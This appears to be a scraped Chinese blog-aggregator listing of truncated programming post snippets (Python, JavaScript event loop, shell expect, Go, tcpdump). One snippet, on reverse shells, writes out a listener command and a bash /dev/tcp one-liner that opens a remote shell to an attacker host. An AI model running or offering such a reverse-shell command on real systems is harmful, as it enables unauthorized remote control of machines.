import time import os import getpass # 时间戳 times = time.strftime("%Y%m%d%H%M%S") # 项目的绝对路径 BASE_PATH = '/'.join(os.path.abspath(__file__).split("/")[: ...
分类:
其他好文 时间:
2020-06-27 13:23:15
阅读次数:
52
宏队列(dom事件,ajax,定时器)和微队列(promise);微队列先于宏队列执行。 setTimeout(() => { console.log(1); }, 0); new Promise(resolve => { console.log(2); resolve() //resolve()函 ...
分类:
其他好文 时间:
2020-06-27 11:36:47
阅读次数:
55
shell expect spawn、linux expect 用法小记 看着舒服点 mezheng 2012-01-09 23:40:24 19138 收藏 1 分类专栏: shell 文章标签: shell linux 脚本 windows bash cmd 使用expect实现自动登录的脚本, ...
分类:
系统相关 时间:
2020-06-27 11:35:53
阅读次数:
62
转自https://www.cnblogs.com/ting152/p/12554480.html 1.组命令 组命令,就是将多个命令划分为一组,或者看成一个整体。 用法区别 Shell 组命令的写法有两种: { command1; command2;. . .; }(command1; comma ...
分类:
系统相关 时间:
2020-06-27 11:33:17
阅读次数:
67
import requests import re import time import base64 import json import sys import re from urllib3 import disable_warnings from urllib3.exceptions impo ...
分类:
其他好文 时间:
2020-06-27 11:20:08
阅读次数:
122
1、真实服务器packagemainimport("fmt""log""net/http""os""os/signal""strconv""syscall""time")typerealServerstruct{Addrstring}func(rs*realServer)HelloHandler(whttp.ResponseWriter,r*http.Request){data:=fmt.Spri
分类:
编程语言 时间:
2020-06-27 09:44:41
阅读次数:
70
一. 捕获及停止条件 -D:列举所有网卡设备 -i:选择网卡设备 -c:抓取多少条报文 -s:指定每条报文的最大字节数,默认262144字节 --time-stamp-precision:指定捕获时的时间精度,默认毫秒micro,可选nano ...
分类:
其他好文 时间:
2020-06-27 09:19:20
阅读次数:
75
假设本机地址10.10.10.11,监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > / ...
分类:
系统相关 时间:
2020-06-26 23:49:20
阅读次数:
66
Shell script notes I used this tutorial to learn shell scripting: Shell Scripting Tutorial-Steve Parker. I given my executing result for almost every ...
分类:
系统相关 时间:
2020-06-26 22:22:32
阅读次数:
75